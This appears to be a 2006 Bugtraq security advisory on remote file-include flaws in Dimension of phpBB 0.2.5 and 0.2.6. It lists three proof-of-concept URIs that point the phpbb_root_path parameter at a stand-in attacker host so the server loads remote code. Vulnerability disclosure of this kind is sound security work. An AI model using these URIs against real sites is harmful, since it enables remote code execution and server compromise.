Dimension of PhpBB Phpbb_Root_Path Multiple Remote File Include Vulnerabilities

Bugtraq ID:	20367
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 05 2006 12:00AM
Updated:	Nov 22 2006 08:50PM
Credit:	SpiderZ Hacking Security is credited with the discovery of these vulnerabilities.
Vulnerable:	Dimension of phpBB Dimension of phpBB 0.2.6 Dimension of phpBB Dimension of phpBB 0.2.5
Not Vulnerable:

Dimension of PhpBB Phpbb_Root_Path Multiple Remote File Include Vulnerabilities

Dimension of phpBB is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Dimension of phpBB versions 0.2.5 and 0.2.6 are affected by these issues. Previous versions may be affected as well.

Dimension of PhpBB Phpbb_Root_Path Multiple Remote File Include Vulnerabilities

An attacker can exploit this issue via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/[path]/includes/functions_kb.php?phpbb_root_path=http://attacker's_site/script

http://www.example.com/[path]/includes/themen_portal_mitte.php?phpbb_root_path=http://attacker's_site/script

http://www.example.com/[path]/includes/logger_engine.php?phpbb_root_path=http://attacker's_site/script

Dimension of PhpBB Phpbb_Root_Path Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Dimension of PhpBB Phpbb_Root_Path Multiple Remote File Include Vulnerabilities

References:

• Dimension of phpBB (Dimension of phpBB)
  
• Dimension of phpBB Remote File Inclusion Vulnerability (SpiderZ Hacking Security)
  
• PhpBB Module Dimension Remote File Include ([email protected])